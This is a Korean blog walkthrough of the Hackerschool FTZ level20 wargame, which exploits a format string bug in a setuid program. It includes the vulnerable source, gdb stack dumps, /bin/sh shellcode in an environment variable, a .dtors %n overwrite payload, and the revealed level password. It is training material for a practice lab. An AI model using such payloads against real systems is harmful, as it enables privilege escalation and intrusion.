본문 바로가기

wargame/Hackerschool FTZ

level20

vortex5번이 FSB문제였는데,

비슷한 유형인거 같아서 한번 풀이를 적어볼려고 한다.


사실 FSB를 정식으로 공부하지 않아서, 정리할겸 해서 적어보겠다.


일단 hint를 보면


[level20@ftz level20]$ cat hint


#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

  setreuid(3101,3101);

  fgets(bleh,79,stdin);

  printf(bleh);

}


버퍼의 길이가 80인데 79만큼 입력을 받는다. 

하지만 아래에 포멧스트링없이 바로 인자를 주었다.


그렇다면 사용자가 직접 포멧스트링을 주면 어떻게 될까??

바로 뒤에있는 스택메모리의 값을 참조 할것이다.

한번 디버깅을 통해 봐보자,



(gdb) r

Starting program: /home/level20/tmp/att

%x%x%x%x  //입력값


Breakpoint 4, 0x080483fb in setreuid ()

(gdb) ni

4f4212ecc04207a75078257825  //출력값

0x08048400 in setreuid ()

(gdb) x/32wx $esp

0xbfffe9d0:     0xbfffe9e0      0x0000004f      0x4212ecc0      0x4207a750

0xbfffe9e0:     0x78257825      0x78257825      0x0000000a      0x40015a38

0xbfffe9f0:     0xbfffea40      0x4000be03      0x40015bd4      0x40016380

0xbfffea00:     0x00000001      0x00000000      0x42015481      0x08048336

0xbfffea10:     0x42130ef8      0x42130a14      0xbfffea28      0x080482b5

0xbfffea20:     0x42130a14      0x4000c660      0xbfffea38      0x08048412

0xbfffea30:     0x42130a14      0x40015360      0xbfffea58      0x42015574

0xbfffea40:     0x00000001      0xbfffea84      0xbfffea8c      0x4001582c



출력값과 메모리를 비교해보면, 보는것과 같이 일치하는것을 볼 수 있다.



이제 payload 작성을 해보자.




[+]payload write

ftz 본 서버에서는 고정스택이지만, 내가 구축한 ftz에서는 default가 랜덤스택으로 되어있엇다.

고정스택으로 바꿀수 있지만, 그냥 랜덤스택으로 공격해보았다.


그리고 하나 주의해야할점은 환경변수 LANG이 en_US.UTF-8로 되어있는데 이것은 자동 인코딩되서 페이로드가 넘어가기 때문에, en_US로 바꿔주어야 잘 동작한다.


ret의 위치를 정확히 알수없으므로 dtors를 이용해 eip를 조작하였고,

환경변수에 많은 nop을 넣어서 적중확률을 높이는 식으로 해 보았다.


환경변수의 주소부터 먼저 찍어보자.

[level20@ftz tmp]$ export hack=`perl -e 'print "\x90"x100000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[level20@ftz tmp]$ ./env

0xbffe75e1

[level20@ftz tmp]$ ./env

0xbffe75e1

[level20@ftz tmp]$ ./env

0xbffe75e1

덮어쒸울 주소는 nop의 중간쯤어디인 0xbfffae52로 하였다.




dtors도 알아보자.

[level20@ftz tmp]$ objdump -h att |grep .dtors

 18 .dtors        00000008  08049594  08049594  00000594  2**2


FSB를 공부해봣으면 알테지만, int형의 표현범위때문에 값을 2개로 나누어서 덮어쒸어야 한다.


[.dtors+6][%c에 의해 출력될 값][.dtors+4][esp를 buf로 마추기위한 %8x%8x][%(0xbfff-28)c][%n][%(0x1ae52-0xbfff)c][%n]


[0x0804959a][aaaa][0x08049598][%8x%8x][%49123c][%n][%61011c][%n]



처음엔 이렇게 공격햇는데, 이게 뒤쪽 %n이 뒷주소를 덮어쒸어야 한다 아니면 앞주소까지 0x0001ae52가 들어간다.


[.dtors+4][%c에 의해 출력될 값][.dtors+6][esp를 buf로 마추기위한 %8x%8x][%(0xae52-28)c][%n][%(0x1bfff-0xae52)c][%n]


[0x08049598][aaaa][0x0804959a][%8x%8x][%44598c][%n][%70061c][%n]



공격!

[level20@ftz level20]$ (perl -e'print "\x98\x95\x04\x08","aaaa","\x9a\x95\x04\x08","%8x%8x","%44598c","%n","%70061c","%n"';cat)|./attackme


id

uid=3101(clear) gid=3100(level20) groups=3100(level20)

my-pass

TERM environment variable not set.


clear Password is "i will come in a minute".

웹에서 등록하세요.


* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.

해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의

가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.